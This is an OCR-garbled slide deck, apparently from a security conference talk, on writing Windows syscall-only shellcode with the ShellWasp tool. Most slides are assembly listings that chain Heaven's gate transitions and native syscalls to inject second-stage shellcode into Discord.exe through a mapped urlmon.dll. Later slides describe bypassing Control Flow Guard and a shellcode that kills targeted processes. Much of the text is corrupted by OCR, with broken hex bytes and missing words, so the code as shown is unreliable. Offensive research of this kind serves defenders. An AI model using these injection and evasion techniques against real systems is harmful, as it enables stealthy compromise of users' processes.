« Added stealth - if trying to follow along in 32-bit debugger,

it will simply skip over the x64 code.

= Those bytes will appear incorrectly as x86 code.
= Unless someoneisin on it, they may overlook this.

001al2cO
001al2chS
001al2cH9
001lal2chb
001al12d0
001al2d4
001al2dS
001lal2dé
001lal2dc

00000000°
00000000°
0oo00000°
oooo0000"
00000000°
00000000 °
00000000°
ooooo000"

300000000

80042417
ba33

800000000

80042405
cb
41

f£fa7£8000000

c3

001al2cO
001al2ch
001al2cH9
001lal2chb
001al12d0
001al2d4
001al12d5
00lal2dc

e800000000

80042417
6a33

es00000000

80042405

41f£fa7£8000000

stestwinlOALL+0x12c5 (001al12cS
byte ptr [esp]l.17h

33h

stestwinl0ALL+0x12d0 (001al2d0)
byte ptr [esp].5

ecx
dwvord ptr [edi+0F8h]

stestwinl0ALL+0x12cS (000000C
byte ptr [rsp]l.l1l7h

33h

stestwinl0ALL+0x12d0 (000000C
byte ptr [rsp].5

oty [r15+0F8h

. u000C
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“m * Going Beyond [r15+0xF8]?

« Can we simply skip this step altogether?
« [R15+0xF8] takes us to code that helps prepare a

WOWG64_CONTEXT, which saves register values.
» It also helps convert everything from 32-bit format to 64-bit.

o That means expanding registers to 64-bit.

o Xb4 uses a different calling convention, so some values need to be moved
from the stack to appropriate registers.

o Parameters on the stack need to be expanded from DWORD to OVWORD.

o Special cases need to be handled.

o CPUReturnFromSimulatedCode does much of this in Windows.

» Instead, we can perform the saving of 32-bit registers in
WOWG64_CONTEXT ourselves.

« We will take a new jmp qword ptr [r15+rcx*8] at the end, part
of TurboThunkDispatch.

\\\\_

ShellWasp: https://github.com/Bw3ll/ShellWasp
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ourSyscall:
push ©x33
call nextRetf
nextRetf:

add [esp], 5
retf

This code works for
Win 10/11, Wo\W64.

It is similar to—but
different from—what
Windows does.

It saves x86 registers
to WOWG64_CONTEXT.

It will return from
kernel-mode to the
next instruction after
where ourSyscall was
called.

J

J

)
-
J
2
-
J
2
J
-
J
J
-
J
2
2
-
J
2
-
J
2
)
L
J
2

— e . | 5 - .
Syscall Function

Push ©x33 selector for 64-bit

GetPC

Invoke Heaven's

; Create destination for Heaven's gate
gate--transition to x64 code

db ©x49,0x87,0xe6,0x45,0x8b,0x06,0x49,0x83,0xc6,0x04,0x45,0x89,0x45,0x3¢c,0x45,0x89,0x75,0x48,0x49,
ox83,0xee,0x04 ,0x4d,0x8d,0x5e,0x04 ,0x41,0x89,0x7d,0x20,0x41,0x89,0Xx75,0%x24 ,0x41,0Xx89,0x5d,0x28,0x41,
ox89,0x6d,0x38,0x9c,0x41,0x58,0x45,0x89,0x45,0x44,0x89,0xc1l,0xcl,0xe9,0x10,0x41,0xff,0x24 ,0xcf
x64 code as bytes, leadlng to syscall

xchg rsp,ri4

movV
add
movV
mov
sub
lea

r8d,dword ptr [ril4]
r14,4
dword ptr [ri13+3Ch],rad

dword ptr [r13+48h],ri4d

r14,4
r11, [r14+4]

dword ptr [rl3+206h],edi
dword ptr [rl13+24h],esi
dword ptr [rl13+28h],ebx
dword ptr [rl13+38h],ebp

pushfq

pop
mov
mov

shr
Jmp

r8

dword ptr [rl13+44h],r8d
ecx,eax

ecx,10h

gword ptr [rl5+rcx*8]

ShellWasp Code NN
to Invoke Syscall ~

# Save x86 EIP
# Save x86 ESP

# Pointer to syscall args
# Save 32-bit registers
# into WOW64_CONTEXT

# Save x86 EFlags

# Get TurboThunk, if needed



FETE \\NAN

- What about Windows 77

« QOur trick to do a jmp qword ptr [r15+0xF8] will not work in
Windows 7.

« \We can perform Heaven's gate and do something similar
with extended x64 code, however.

. = As before, the code helps preserve x86 CPU context and set

{ ,',/"_‘,& - up transition to 64-bit mode.

osm! B
-

byl
HACKER
B

)R N

‘; k ShellWasp: https://github.com/Bw3lIl/ShellWasp

Uy
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' « This code is similar to what Windows does naturally.

ShellWasp Way to Invoke Syscall

This method, involving Heaven's gate, works only in Win7.

ourSyscall ; Syscall Function
Xor ecx, ecx
lea edx, [esp+4]

push ©x33 ; Push ©x33 selector for 64-bit

call nextRetf2 ; GetPC

nextRetf2:

add [esp], S ; Create destination for Heaven's gate

retf Invoke Heaven's gate--transition to x64 code

db ©x67,0x44,0x8b,0x04, 6x24 Ox45,0x89,0x85,0xbc ,0x00,0x00,0x00,0x83,0xc4,0x04,0x41,0x89,0xas5,
oxc8, exee Ox00,0x00,0x49,0x8b,0xa4, ex24 0x86 6x14 ©x00,0x00,0x49, 6x83 Oxa4,0x24,0x80, ex14 0xe0,
©x00,0x00,0x44 ,0x8b,0xda,0x41,0xff,0x24 ,0xcf ; X64 code as bytes, leading to syscall
; mov r8d,dword ptr [esp]
; mov dword ptr [r13+8BCh],r8d
; add esp,ox4
; mov dword ptr [rl13+@C8h],esp
; mov rsp,qword ptr [rl12+1486h]
; and gword ptr [rl12+1480h],0
;3 mov rlld,edx
; Jmp qword ptr [rl1S5+rcx*8]



—

NN

@13cl2da cb ~~ retf
913c12db 6744 inc
©13cl2dd 8bo424 mov
013cl12e0 45 inc
©13cl2el 8985bco00000O mov
©13cl2e7 83c404 add
013cl2ea 41 inc
©13cl2eb 89a5c8000000 mov
©13c12f1 49 dec
013c12f2 8bad2480140000 mov
913c12f9 49 dec
913cl2fa 83a4248014000000 and
013c1302 44 inc
©13c1303 8bda mov
©13c1305 41 inc
013c1306 ff24cf jmp

esp
eax,dword ptr [esp]
ebp
dword ptr [ebp+@BCh],eax
esp,4
ecx
dword ptr [ebp+@C8h],esp
ecx
esp,dword ptr [esp+1480h]
ecx
dword ptr [esp+1480h],0
esp
ebx, edx
ecx
dword ptr [edit+ecx*8]

‘608512da cb retf

458985bc000000 mov
83c404 add
4189a5c8000000 mov
498ba4d2480140000 mov
4983a4248014000000 and
4438bda mov
41ff24cf jmp

008512e0
008512e7
008512ea
008512f1
0085129
09851302
00851305

dword ptr [r13+@BCh],r8d

esp,4

dword ptr [rl13+@C8h],esp
rsp,qword ptr [r12+1480h]
gqword ptr [r12+1480h],0
rlld,edx

gword ptr [rl15+rcx*8]

\\NAN

Win7:
Xx86 to x64

ShellWasp -

= The x64 code that
executes is very
different from the

x86 code.

In 32-bit
debuggers, the
x64 code is
skipped over.
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< Multiple Ways of Invoking the Syscall

» ShellWasp offers multiple ways to invoke the syscall,
across multiple operating systems, via WolWW64.

« The setup for Win7 and Win10/11 are incompatible.

« Additionally, the set up and stack clean up for these
alternative methods would ordinarily be incompatible.

\\\\_

ShellWasp>Style> s

ShellWasp offers different ways to invoke the syscall for 32-bit, WoWé4 shellcode:

1 fs [ ] - Uses fs:[@xc@®] to invoke syscall
2 x64 [ ] - Uses Heaven's gate and executes x64 code to invoke syscall
3 x64Ex [X] - Uses Heaven's gate and executes extended x64 code to invoke syscall

Winl1©/11 only

ShellWasp>Style>Syscallo



1 .
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y NASM vs. Inline Output of x64 Bytes

ShellWasp can output x64 code in two formats:

' o Inline Assembly for Microsoft Visual Studio (MSVC)
o Initialized data (db) for NASM or similar.

NI

ShellWasp>Style> b

When invoking the syscall via Heaven's gate and executing x64 code, there are different options
on how to represent x64 code. Different formats are required based on compiler:
1 nasm [X] - Uses x64 bytes in the style of db ©xde,©xad,Oxbe,Oxef for compilers like NASM
pi inlineVs [ ] - Prepares x64 bytes for VisualStudio inline Assembly using the emit keyword:
_emit Oxde
_emit ©xad
_emit ©xbe
_emit Oxef

ShellWasp>Style>Format>



- Example of Inllne Assembly for x64 Bytes W

ourSyscall: ; Syscall Function
Xor ecx, ecx
lea edx, [esp+4]

NN

push ©x33 ; Push ©x33 selector for 64-bit
call nextRetf2 ; GetPC
nextRetf2:
add [esp], 5 ; Create destination for Heaven's gate
retf ; Invoke Heaven's gate--transition to x64 code
_emit ©x67 ; X64 code as bytes, leading to syscall
_emit ox44
_emit ©x38B ; Formatted for
_emit exe4
_emit ©x24 ; mov r8d,dword ptr [esp]
_emit ©x45 ; mov dword ptr [r13+8BCh],r8df
_emit ©x89 ; add esp,ox4
_emit ex85 ; mov dword ptr [r13+8C8h],esp
_emit ©xBC ; mov rsp,qword ptr [r12+1486h]
_emit ©xee ; and gword ptr [ri12+1486h],0
_emit ©xe0 ; mov rlld,edx
_emit ©xee ; Jmp qword ptr [r1S5+rcx*8]
_emit ©x83
_emit ©xc4
_emit oxe4
_emit ©x41
emit ©x89

_emit OxAS ShellWasp: https://github.com/Bw3ll/ShellWasp
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Creating Shellcode with Windows Syscalls

. Create a shellcode that uses exclusively Windows syscalls,
with no WinAPIs.

o If we can achieve this, we

. There are vastly fewer syscalls than there are WinAPIs,
meaning the functionality that can be achieved is more limited.
. Create a shellcode that comprised of Windows

syscalls that can inject another shellcode into a separate
process, then causing that to start.
. It must be able to across multiple

operating systems and

o  Thisis thereally tricky part. If we hardcode syscall IDs, it is not truly
portable.
Windows 7 and Windows 10/11 both use slightly different mechanisms to
perform the Wowb64 syscall initialization.

m Thus, shellcode that is not build with this in mind will only work on one
0S.




"= Steps for Process Injection with Syscalls =

Create a region of memory to hold our

Generate a listing of on the system

via SystemProcessinformation

Parse through the SystemProcessinformation results to
(PID) for our target app, Discord.

Open a handle to our target process, Discord.

Create a to our , where we will hide

our stage two shellcode.

m. -
/ .‘% Create a to
o

| oy of urlmon.dll into the target process,
\\,*‘ getp

SR Discord. h(‘?}‘}%%:




wmms Steps for Process Injection with Syscalls

Change the for our newly mapped
to
Write our stage two shellcode into Discord, it inside

of urlmon.dll
, telling it where to begin execution — which

will be at the start of our stage two shellcode
Cause that shellcode to begin

?Q?Y/

7

O30
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#HITB2023AMS Create p Region Of Memory

« Aregion of memory is needed to for  NTAPI NtAllocateVirtualMemory(

r IN HANDLE
2L IN OUT PVOID ,
o Inanenvironment with many active IN ULONG ,
processes, you will need a lot of space. IN OUT PULONG :
o (Creating separate memory - rather IN ULONG ’
IN ULONG i

than using existing memory, such as
heap or stack, is better, as potentially
this could be large.

o will return
us an allocation with our desired
memory permissions.




"= Create a Region of Memory S

mov dword ptr [ebp - 0x18], 0x600000 ; Initialize size of memory

restart:

push edi ; Save pointer to syscall array

push 0x40 ; ULONG Protect, = Ifatype ,we
xor ebx, ebx need to provide a to
push 0x3000 ; ULONG Protect that value or structure.

lea ebx, dword ptrlebp - 0x18] . 04 = |f the type does not begin with a
RUSE jebzx INE NG g BegtonsiEe P, then we provide the value
XOr ecx, ecx : :

I O ; ULONG PTR ZeroBits . d1|riactly, as with t:e h.andle.
mov dword ptr[ebp - 0x280], O v Flgati>g
lea ebx, dword ptr[ebp - 0x280] shorthand for the

push ebx ; PVOID *BaseAddress, -

push -1 ; HANDLE ProcessHandle u for Protect specifies
mov eax, [edi+0x24] ; Load pointer to NtAllocateVirtualMemory syscall

call ourSyscall ; Initiate syscall

mov edi, [esp+0x18] ; Restore pointer to syscall array

push edi ; Save pointer to syscall array



e Create a SystemProcessinformation Struct

fal

contains an exhaustive listing of all

: NTAPI NtQuerySysteminformation(
active processes.

IN SYSTEM_INFORMATION_CLASS
Once we have this, we can search

. IN OUT PVOID
through It to IN ULONG

of our target process, Discord.exe. OUT PULONG
This in order to get a )

handle to the process.
No PID = no handle.

No handle = you cannot do anything!
can
return many types of system
information.

Is just one
option of numerous possibilities.



e SytemProcessinformation Structure -

internal class
internal uint{ NextEntryOffset; This offset takes us to

internal uint NumberO “eads;

long Sparelil; the next
long Spareli2;

long Spareli3;

long CreateTime;

long UserTime;

long KernelTime;

internal ushort Namelength; // UNICODE_ STRING
internal ushort X3 amelength;
internal IntPt: // This will point into the data block returned by NtQuerySystemInformation

internal int BasePriority; Process name

internal IntPtrjUniqueProcessld;
internal IntPtr InheritedFromUniqueProcessld; -
internal uint HandleCount; Process ID

internal uint Sessionld;
internal UlntPtr PageDirectoryBase;

AT MIGERSE FrasVirtue D, N We can simply use Assembly to iterate through all

internal UIntPtr VirtualSize;

internal uint PageFaultCount; pOSSible processes until, vwve find

Then we can capture its PID.



nmmst Create a SystemProcessinformation Struct ~

push 0x40 ; ULONG Protect
mov dword ptr [ebp-0x20], 0x00000000
lea ecx, dword ptr [ebp-0x20]

push ecx ; PULONG ReturnLength
mov ecx, dword ptr [ebp-0x18]
push ecx ; ULONG

SystemInformationLength

mov ecx, dword ptr[ebp - 0x280]

push ecx ; PVOID SystemInformation

push 0x00000005 ; SYSTEM INFORMATION CLASS
; 0x05 -> SystemProcessInformation

mov eax, [edi+0x20] ; NtQuerySystemInformation syscall
call ourSyscall

mov edi, [esp+0x10]

push edi

The ebp-0x280 was allocated
by

This is where the

structure will be created

The specifies that we
want a

structure.

If it it will

return the needed size in

o) You could set up the Assembly to
recall it with the ReturnLength value.
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xor edx, edx
push edx
mov dx, 0x65
push dx

mov dx, 0x78
push dx

mov dx, 0x65
push dx

mov dx, 0Ox2e
push dx

mov dx, 0x64
push dx

mov dx, 0x72
push dx

mov dx, Ox6f
push dx

mov dx, 0x63
push dx

mov dx, 0x73
push dx

mov dx, 0x69
push dx

mov dx, 0x44
push dx ; Discord.exe
mov dword ptr [ebp-0xdd], esp

Preparing to Parse Results

* \We can build

(Unicode format) on the

stack, saving it to ebp-0xdd.

 \We also need to create an

structure. It is mostly

— Only the needs to be specified. It will usually be
— the size of the structure.

xor edx, edx

push edx

push edx

push edx

push edx

push edx

push 0x00000018
mov [ebp-0xfe], esp

SecurityQualityOfService
SecurityDescriptor

: Attributes

ObjectName

; RootDirectory

Length
; _OBJECT ATTRIBUTES



"= |dentify the Target Process

>
.

mov eax, dword ptr[ebp-0x280] ; Start of SystemInformation structure
cmp eax, O ; Check to see if reached end

jJe finishedSearch

ov ebx, dword ptr[ebp - 0x280]
I;ov esi, dword ptr[ebx+0x3c]
cmp esi, O

Unicode for candidate

N

Jje nextProc
“mov edi, dword ptr[ebp-0xdd] ; Source,
mov ecx, 8
cld
repe cmpsb ; String comparison, checking to see

jecxz finishedSearch

add eax, dword ptr[eax] ; No match! Add the size
; entry to enumerate the
mov dword ptr[ebp-0x280], eax , Save current process

jmp parseProcesses

process name

if

of current
next process.



== Yes! We got our PID for Discord.exe ~

mov edi, [esp+0x32] ; Restore pointer to syscall array
push edi ; Save pointer to syscall array

mov ecx, esp
mov eax, dword ptr[ebx+0x44] ; Discord PID
mov dword ptr[ecx], eax

XOr ecx, ecx

push ecx ; UniqueThread
push dword ptr[ebp-0x280] ; UniqueProcess
mov [ebp-0x1ff], esp

xor edx, edx

push edx

mov dword ptr [ebp-Oxbe], esp ; Create empty space for
; future Discord process
; handle.

Now that we
for the Unicode string
Discord.exe, we can now
move to the part of the
structure that contains the
for

We will also build an

and a
placeholder for the

o These will be used
shortly!



nmmmes NtOpenProces Syscall to Get Process Handle

= \We provide pointers to our

mov ecx, [ebp-0x1ff]
push ecx
mov ecx, [ebp-0xfe]
\Push =Yeb <

push Ox1FFFFF

mov ecx, [ebp-0xbe]
push ecx

mov eax, [edi+0xlc]
/call ourSyscall

mov edi, [esp+0xlc]
push edi

°
14

PCLIENT ID ClientId
POBJECT ATTRIBUTES
ObjectAttributes
ACCESS MASK AccessMask
PROCESS ALL ACCESS
PHANDLE ProcessHandle
NtOpenProcess syscall

Restore ptr to syscall array
Save ptr to syscall array

struct and our

= \We specify

» Qur ProcessHandle pointer is

2

empty, but will contain the

syscall.

X

NTAPI NtOpenProcess(

OUT PHANDLE
IN ACCESS_MASK
IN POBJECT_ATTRIBUTES

IN PCLIENT_ID

after the

N\

/
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xor edx, edx
push edx
mov dx, Ox6c
push dx
mov dx, Ox6c
push dx
mov dx, 0x64
push dx
mov dx, Ox2e
push dx
mov dx, Ox6e
push dx
mov dx, Ox6f
push dx
mov dx, Oxé6d
push dx
mov dx, Ox6c
push dx
mov dx, 0x72
push dx
mov dx, 0x75
push dx
mov dx, O0x5c
push dx

mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx
mov dx,
push dx

0x34

0x36

0x57

Ox4f

0x57

0x73

0x79

0x53

0x5c

0x73

0x77

Ox6f

= Preparmng =2
push dx Urlmon

push dx
mov dx, 0x69
push dx
mov dx, 0x57
push dx
mov dx, 0x5c
push dx
mov dx, 0x3a
push dx
mov dx, 0x63
push dx
mov dx, 0x5c
push dx
mov dx, Ox3f . .
push dx A pointer to the Unicode for
mov dx, Ox3f is put onto the stack.
push dx
(R ey Bee This pointer will be used for a
push dx

struct

mov [ebp-O0x2£d]l, espf  reguired for a syscall.



]

S Preparing Urlmon for NtCreateFile

£
push dword ptr [ebp-0x2fd] Even though is in Unicode, it needs to be
; Buffer for Urlmon put into a structure.
; Max Length, with Null The UNICODE_STRING structure is a parameter for
mov dx, 68 the we must create.

push dx ; Length, without Null i
mov [ebp-Oxed], esp The OBJECT _ATTRIBUTES structure is

; UNICODE STRING

NTAPI NtCreateFile(

xor edx, edx OUT PHANDLE ,

XOr ecx, ecx IN ACCESS_MASK ,
push edx ; SecurityQualityOfService IN POBJECT_ATTRIBUTES

push edx ; SecurityDescriptor OUT PIO_STATUS_BLOCK \
inc ecx IN OUT PLARGE_INTEGER :
shl ecx, 6 IN ULONG ,
push ecx ; Attributes, / IN ULONG :
push dword ptr [ebp-Oxed] ; UNICODE STRING IN ULONG \
push edx ; Root Directory IN ULONG \
push 0x18 ; Length IN PVOID

mov [ebp-0x24], esp ; OBJECT ATTRIBUTES IN ULONG ):



"= NtCreatefile Syscall

push 0x00000000
push 0x00000000
push 0x00000860
push 0x0003
push 0Ox1

push 0x80

push 0x00000000

14

© ULONG EaLength ,

PVOID EaBuffer ,

ULONG CreateOptions,

ULONG CreateDisposition, .
FILE SHARE WRITE,

ULONG FileAttributes,

PLARGE INTEGER AllocationSize :

push dword ptr [ebp-0x48] ; out PIO STATUS BLOCK IoStatusBlock
push dword ptr [ebp-0x24] ; POBJECT ATTRIBUTES ObjectAttributes

push 0x120089
lea ecx, [ebp-0x3dd]
push ecx

mov eax, [edi+0x18]
call ourSyscall

mov edi, [esp+0xbO0]

push edi

14

; ACCESS MASK DesiredAccess, ,

PHANDLE FileHandle
NtCreateFile syscall
Restore syscall array, for syscall

parameters. for other stack cleanup.
Save pointer to syscall array



).
\
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‘«VA
mov ecx,
push ecx
push 0x1000000

"4

[ebp-0x3dd]

push 0x00000002

push O
“push 0x0
push 0x10000000

lea ecx,
. push ecx

. mov eax,
lcall ourSyscall
"mov edi,
push edi

4

o

[ebp-0x324]

[edi+0x14]

[esp+0x2c]

Ntcﬁesect om—

14

14

14

14

14

14

4

14

14

\ O\

t " ‘ /\
HANDLE FileHandle
HANDLE FileHandle
ULONG AllocationAttributes

; SEC_IMAGE,
; ULONG SectionPageProtection,

4
PLARGE INTEGER MaximumSize
POBJECT ATTRIBUTES,

; ACCESS MASK DesiredAccess,

4

; PHANDLE SectionHandle
; NtCreateSection syscall

; Restore ptr to syscall array
; Save ptr to syscall array

,/.é%ii.‘.; - 8@ [

—
‘\ :

\.\iv '”‘f%fgffjj;zésiﬁx

\ |  _ N
- = With we can !
create a to the \
= We will
' payload in urlmon.dll. /
| 1

= This section then be mapped out.
o The section must be created. .

o will output
~ .
— a handle to the section.
/ 1 B \ ‘,‘a
NTAPI NtCreateSection( =
OUT PHANDLE ,

IN ACCESS_MASK )
IN POBJECT_ATTRIBUTES ;
IN PLARGE_INTEGER )
IN ULONG

IN ULONG \
IN HANDLE );

-



With , we

" NtMapView0fSection

= \We map urlmon.dll to the

push 0x00000040 ; ULONG Protect, RWX, orocess that we

push 0x00000000 ; ULONG AllocationType

push 0x00000001 ; DWORD InheritDisposition ViewShare were able to get a for.

lea ecx, [ebp-0x98] = This syscall

push ecx ; PULONG ViewSize where urlmon.dllis

push 0x00000000 ; PLARGE INTEGER SectionOffset :

push 0x00000000 ; ULONG CommitSize mapped to in

push 0x00000000 ; ULONG stackZeroBits

lea ecx, [ebp-0x88] NTAPI ZwMapViewOfSection(

push ecx ; PVOID *BaseAddress IN HANDLE ,

mov ecx, dword ptr[ebp-0xbe] ; IN HANDLE ,

mov ecx, dword ptr [ecx] IN OUT PVOID ,

push ecx ; HANDLE ProcessHandle IN ULONG_PTR ,

push dword ptr [ebp-0x324] ; HANDLE SectionHandle INSIZE T )
IN OUT PLARGE_INT ,

mov eax, [edi+0x10] ; NtMapViewOfSection syscall INOUT PSIZE T ,

call ourSyscall IN SECTION_INHERIT

mov edi, [esp+0x28] ; Restore ptr to syscall array IN ULONG ’

push edi ; Save ptr to syscall array

IN ULONG );



NtProtectVII‘tl]al,Memory

4mov ecx [ebp Ox424]
‘push ecx ; PULONG OldAccessProtection
> push 0x00000040 ; ULONG NewAccessProtection,
mov ecx, [ebp-0x64]
push ecx ; PULONG NumberOfBytesToProtect
_~ lea ecx, [ebp-0x88]
) push ecx ; PVOID *BaseAddress

mov ecx, dword ptr[ebp-0xbe]

“mov ecx, dword ptr [ecx]

_ push ecx ; HANDLE ProcessHandle

' mov eax, [edi+0xc] ; NtProtectVirtualMemory syscall
call ourSyscall
mov edi, [esp+0x34] ; 0x14 + 20= 34

push edi ; Save ptr to syscall array
s G ' .- e
, (& P F. }
J
-~ ~\o @& z .
= S » v

D s T4 “"
. . i .4%
A .
" Eventhough IS ¢
mapped into ,we -

cannot write to it because we

lack the proper permissions.
= With

we can fix this, by changing it

to

-

NTAPI NtProtectVirtualMemory(
IN HANDLE :
IN OUT PVOID \

IN OUT PULONG \
IN ULONG \
OUT PULONG );

& e\-G - -~ 8

.
-



" \tWriteVirtualMemory

push O ; PULONG NumberOfBytesWritten
push 0x100 ; ULONG NumberOfBytesToWrite
lea ecx, ourShell

add ecx, 0x4

push ecx ; PVOID Buffer

lea ecx, [ebp-0x88] ;
mov edx, dword ptr [ecx]

add edx, 0x3000

mov dword ptr [ebp-0x88], edx

mov ecx, [ebp-0x88]

push ecx ; PVOID BaseAddress

mov ecx, dword ptr[ebp-0xbe]
mov ecx, dword ptr [ecx]

push ecx ; HANDLE ProcessHandle

mov eax, [edi+0x8] ; NtWriteVirtualMemory syscall
call ourSyscall

mov edi, [esp+0x14]; Restore ptr to syscall array

push edi ; Save ptr to syscall array

With Swe
can write to an external process,
, CoOpying our second-
stage shellcode into
gave us

the address for ~which

we use as the

o \We move the start 0x3000 bytes, to
hide it in the middle of

NTAPI NtWriteVirtualMemory(

IN HANDLE ,

OuUT PVOID ,

IN PVOID ,

IN ULONG )

OUT PULONG );



"éul‘;szozsgus"f : = NtcreatEThreadEX

pﬁsh edx ; pBytesBuffer | o
push edx ; sizeOfStackReserve = With we create a thread
push edx ; sizeOfStackCommit in our external process, _
- push edx ; stackZeroBits n will return a to
push edx ; bCreateSuspsended our i
push edx ; lpParameter = In , the thread immediately runs.
mov ebx, dword ptr [ebp - 0x88] o  Other times, we force this to happen.
push ebx ; pMemoryAllocation StartRoutine
" mov ecx, dword ptr[ebp-Oxbe] ; ProcessHandle
mov ecx, dword ptr [ecx] -~ NTAPI NtCreateThreadEx(
push ecx ; hCurrentProcess -~ OUT PHANDLE ,
push 0 ; pObjectAttributes -~ IN ACCESS_MASK )
push Ox1fffff ; ACCESS MASK, desiredACcess . IN LPVOID ,
; <" INHANDLE )
~mov dword ptr[ebp - 0x290], 0 "IN LPTHREAD_START_ROUTINE ,
lea ecx, dword ptr[ebp - 0x290] IN LPVOID ’
-push ecx ; hThread ; IN BOOL ’
: : IN ULONG ,
 mov eax, [edi+0x4] ; NtCreateThreadEx syscall IN ULONG ’
5P e O uLonG ,
i OUT LPVOID );

- push edi
.'-:c'.,x-:r' AP '4'_" . \ oy “ 7 ’



1 1O AR AN 78N

NTAPI NtWaitForSingleObject(

IN HANDLE : L
IN BOOLEAN .
IN PLARGE_INTEGER

; PLARGE INTEGER
; BOOLEAN Alertable

; HANDLE ObjectHandle

; NtWaitForSingleObject syscall

[esp+0xc] ; Restore ptr to syscall array
; Save ptr to syscall array

push edi

, Sometimes .
N s =
% = With our shellcode, it actually is ‘s
, but we do it anyway.
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Launching a second-stage shellcode via
process Injection to Discord.exe via
Inserted urlmon.dll




fiEINS | and Process InjECtion Via ShEHCOde

« Microsoft's can cause some process

injection efforts into external processes to

o Thatis true for :
o CFG checks all indirect calls to see if they are valid targets for indirect calls.

« When attempting to start execution at such a location, such as

injected second-stage shellcode,
Is called, which leads

to
o Thisimmediately terminates the application.
o The calls a special system interrupt,
s Thisisasecond chance non-continuable exception that causes

exception code Oxc00004009.

(9&64.3&28)1 Security check failure or stack buffer overrun - code c0000409 (!!! second chance |!1)
eax=00000000 ebx=00000000 ecx=0000000a edx=6a283000 e=s1=6a283000 edi=6a283000
eip=77058b30 esp=00a5f{d80 ebp=00aSfdac 10pl=0 nv up €1 pl zr na pe nc

cs=0023 s=s=002b d==002b es=002b f==0053 gs=002b ef 1=00000246
ntdlllgtlFa}lFastE- _
o b il =20 Discord with CFG terminates.




"= Control Flow and Discord

shows
that utilizes

GPU

Comment
Performance Threads

Token Modules Memory Environment
Fie

G Discord

Version: 1.0.9007.0

Image file name:

C:\Users\pibrizendine \AppData \Local \Discord'\app- 1.0.900 7\Discord .exe

Process

Command Ine: C:\sers\bibrizendine \AppData\Local\Discord \app- 1.0.900 7'\Discord . exe™ --type:
Current directory: C:\Users hjbrizendine \AppData\Local Discord \app-1.0.9007)

Started: 3 days and 19 hours ago (4:27: 11 PM 11/2/2022)

0xc4bdd00 (32-bit: Oxcdbe000)
cord. exe (40548)

Details
Protection: None

Permissions Terminate




"=="- Defeating CFG with Syscalls

= Thereis a way to overcome CFG with a special syscall,

o is poorly documented and difficult to use,
requiring complex set up.
s Information on usage varies and from documented sources.
e Bestbet? it yourself.
o With , you can create CFG exceptions for call
sites or ranges of memory.
= Thereis no reason should not

work with our shellcode, if implemented correctly.

NTAPI NtSetinformationVirtualMemory(

IN HANDLE

IN VIRTUAMEMORY_INFORMATION_CLASS

ULONG_PTRL_

PMEMORY_RANGE_ENTRY :
vielly \
ULONG

)i




rtbal

| ‘ H
»
' -

'
LA B

F

e Seversing NiSetToTati

v
B
-

= The best way to implement Is to trace its

corresponding function,
o Tracing and setting a breakpoint for
can help the syscall's required parameters.

)
[ = In testing, was able to bypass CFG and allow
i Discord.exe to be compromised with the syscall shellcode.

o internally calls
o is far simpler, with only a handful of parameters.
o has many required structures and far more elaborate setup.

BOOL SetProcessValidCallTargets(
IN HANDLE
IN PVOID

INSIZE T
IN ULONG
IN OUT PCFG_CALL_TARGET_INFO




smsns . Tpacing NtSetinformationVirtualMemory

&

Virtual: |esp Previous Customize...

Display format: Pointer and Symbol v
Process Handle Next ; Tere
- - 2b

PVOID VirtualAddress 0133158 H di 133e784
‘ 19a0000

e 133£324

SIZE_T RegionSize 0133£53) m_f,-,l-,,-,
NumberOfOffsets 7687580
133f8§f

y O
O W w

T

-
v
O
o

> (

00000000
0133£88c
33f£Sbe 00003000
33fSbha 00000040
33fShe 01332784
Sc2 000000¢fc
20cc3000
00811944 SVWvinlntRenoteCreate
33fSce 00000100
33f£542

33f£5d6

33fSda :
33fSde 0133f8lc
33fSe2 0133f5£6
fSef 00000040
3fSea 0133f{See
3fSee= 00000002

PCFG_CALL_TARGET_INFO
Offsetinformation

Wowww
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o

oY eax, eax
Inp KERNELBASE'!RegisterBadi
nov eax,dvord ptr [=bp-4]

~2ave

ww

Wwwowww

o
nmuy
L
e

» Tracing a syscall can involve looking
at the corresponding WinAPI
function, and examining its
parameters.

Here we the syscall's corresponding
WINAPI,

~I=1=1=1=
oo
= on

O w

oOUrDw

OO O O ON

y O

ret 4
int 3
int

int

int

int

int

757 cC int 3
(ERNELBASE | SetProcessValidCal lTargets

76c87580 BbEf nov edi_ed:

7582 S push ebp
3 8bec nov ebp.esp
» 8bS50c nov edx,dvord ptr [ebp+0Ch]
33c0 ®OY eax, eax
4408 nov ecx,dvord ptr [=bp+8]
push eax
}-Ilr;:'x eax
push eax
push dvord ptr [ebp+18h]
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s Tracing NtSetInformationVirtualMemory <

E

Virtuak | esp Previous  Customize...

Process Handle Display format: Pointer and Symbol
VmCfgCallTargetinformation ‘ [esaaLsod 76c8 ?b
ULONG_NumberOfEntries

PMEMORY_RANGE_ENTRY

PVOID Vminformation i36 oaconne. T rreimal iecatalie:
ULONG VminformationlLength 3c f;;f;}i 7oy ppep

Intdll!NtSetInformationTransaction

0133£548 0133£530 7734410 bB3c010000 nov eax, 19Ch
= We can set a breakpoint for the syscall, e :_:}_”_;;_::_;3; 77c344b5 bad0gbea nov  edx.offse
. 0 - 00Sa00cO jj}é:; n;;jll_ oo - _,.' 10h
. . . - oc 000 ' 0000 ‘ 1!NtSetInformationTransactionManager
= Once hit, we can then examine its 0133¢560 £5820000 77694408 badosbear? . My
parameters and the structures they point to. |(EEEE ?_.I_il_l'[_.l_.[_i 77cad4ce c21000 o
01 0 l’lﬂl. [lm 0 | .S 10
o) will _::--:_ Intd iflliwtlr'cnmﬁfl ny 11ru'\1‘4r~n'u'
naturally call the syscall on its own E; 355 DUCnOnDe:: m ;-:j;;ji tﬁ'ft—:"
without us doing anything. L f g a,( on 1776 21800
= Via , We gain insights Ntse’t\“

into its undocumented functlonallty.



- What if instead of injecting shellcode, we did
something slightly annovying, such as causing
a specific process to terminate?

- = We could identify a target process or processes.

-  We then could cause it to immediately terminate.
- If we wanted to, we could develop it further, putitina
loop, and cause all instances of it to terminate, as long as
the shellcode was running.
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Requwed Wlndows Syscalls
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A
Demo
Terminating a Tar eted Process Syscall Shellcode
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mees - Tips and Tricks: Using Memory for Parameters

5N
» Losing track of memory can be easy if using ESP/EBP, even if trying
to be careful.
o Avalueat could be without intending to
do so.
o Be when creating structures or pointers to strings on the
stack.
= Ifa , Check the parameters to make sure they contain —
what you believe they should!
e Sometimes they may not! They can . —
e Some may get overwrittenin ways.
